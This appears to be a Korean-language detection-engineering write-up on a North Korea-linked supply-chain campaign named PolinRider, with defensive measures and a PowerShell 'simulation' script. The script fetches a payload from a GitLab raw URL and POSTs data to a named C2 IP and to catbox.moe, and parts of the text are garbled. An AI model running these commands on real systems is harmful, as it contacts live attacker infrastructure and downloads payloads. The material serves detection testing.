DPRK PolinRider 캠페인, 상호작용식 공급망 활동을 보여줌
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
북한과 연계된 위협 행위자가 트로이화된 Python 패키지를 사용하여 개발자 환경에 대한 공급망 공격을 수행했습니다. 침입 체인은 Node.js 로더, JavaScript C2 임플란트, 그리고 Python 기반 정보 절취 도구를 포함했습니다. 이 행위자는 악의적인 구성 요소를 합법적인 Microsoft .NET 최적화 서비스로 위장하여 지속성을 확립했습니다.
조사
조사는 고정밀 속임수 환경 내에서 167시간 동안 감시된 미끼 기업 워크스테이션 안에서 이루어졌습니다. 분석가는 실시간으로 키보드 조작 활동을 포착했으며, 이에 따라 악의적인 페이로드 실행과 데이터 스테이징을 포함했습니다. 수집된 원격 분석 데이터는 악의적인 저장소에서 시작하여 호스트 데이터 유출에 이르는 전체 공격 체인을 드러냈습니다.
대응책
조직은 npm, PyPI 및 다른 패키지 관리자 전반에 걸쳐 엄격한 종속성 스캔을 시행해야 합니다. Egress 필터링은 비표준 포트에서의 원시 공개 IP 주소로의 HTTP 연결을 차단해야 합니다. 방어자는 또한 시스템 프로필 경로의 Microsoft .NET 구성 요소를 모방하는 예약 작업 또는 레지스트리 항목 등 비정상적인 지속성 메커니즘을 모니터링해야 합니다.
대응
악의적인 활동이 감지되면, 보안 팀은 즉시 영향을 받는 개발자 또는 빌드 환경을 격리해야 합니다. 대응자는 알려진 C2 IP 주소 및 의심스러운 파일 패턴, 예를 들어 SvcHostUpdate.py. 최근에 설치된 서드파티 종속성의 포렌식 검토와 시스템 프로필의 무단 MicrosoftCLROptimization 아티팩트에 대한 감사를 수행해야 합니다.
공격 흐름
이 부분은 아직 업데이트 중입니다.
시뮬레이션 실행
-
공격 서사 및 명령: 적수는 감염을 진전시키기 위해 2단계 페이로드를 가져와서 도난당한 구성 데이터를 유출하는 것을 목표로 합니다. PolinRider를 모방하기 위해 공격자는 다음을 수행할 것입니다:
- Use
curlorInvoke-WebRequest“raw” GitLab URL에서 더미 파일을 가져옵니다. - 식별된 C2 IP로 POST 요청을 수행합니다 (
150.251.113.223:8443) 이때 User-Agent를rotating.*agent패턴과 일치하도록 스푸핑합니다. - 다음으로 연결합니다
dns.catbox.moe보조 C2 하트비트 또는 페이로드 전달을 시뮬레이션합니다. 이러한 작업은 Sigma 규칙의 세 가지 선택 기준을 트리거하기 위해 설계되었습니다.
- Use
-
회귀 테스트 스크립트:
# PolinRider 시뮬레이션 스크립트 Write-Host "[!] PolinRider 네트워크 시뮬레이션 시작 중..." -ForegroundColor Cyan # 1. 선택 기준 2: GitLab Raw에서 가져오기 Write-Host "[*] 선택 기준 2 트리거 중: GitLab Raw 가져오기..." Invoke-WebRequest -Uri "https://gitlab.com/api/v4/raw/malicious_payload.exe" -Method Get -UserAgent "Mozilla/5.0" # 2. 선택 기준 1 트리거: 회전하는 User-Agent와 함께 C2 POST Write-Host "[*] 선택 기준 1 트리거 중: 회전하는 User-Agent와 함께 C2 POST..." $c2Url = "http://150.251.113.223:8443/upload" $fakeUA = "Mozilla/5.0 rotating-agent-v1.2" Invoke-WebRequest -Uri $c2Url -Method POST -UserAgent $fakeUA -Body "dummy_data" # 3. 선택 기준 3 트리거: catbox.moe에 대한 DNS/URL 패턴 Write-Host "[*] 선택 기준 3 트리거 중: Catbox.moe 연결..." Invoke-WebRequest -Uri "https://dns.catbox.moe/check" -Method Get -UserAgent "Mozilla/5.0" Write-Host "[+] 시뮬레이션 완료. 알림을 위해 SIEM을 확인하세요." -ForegroundColor Green -
정리 명령:
# 시스템에 지속적인 변경 사항 없음; # 네트워크 연결은 일시적입니다. # 시뮬레이션에서는 디스크에 파일이 기록되지 않았습니다. Write-Host "[*] 정리: 파일 또는 레지스트리 키가 수정되지 않았습니다. 시뮬레이션은 깨끗합니다." -ForegroundColor Cyan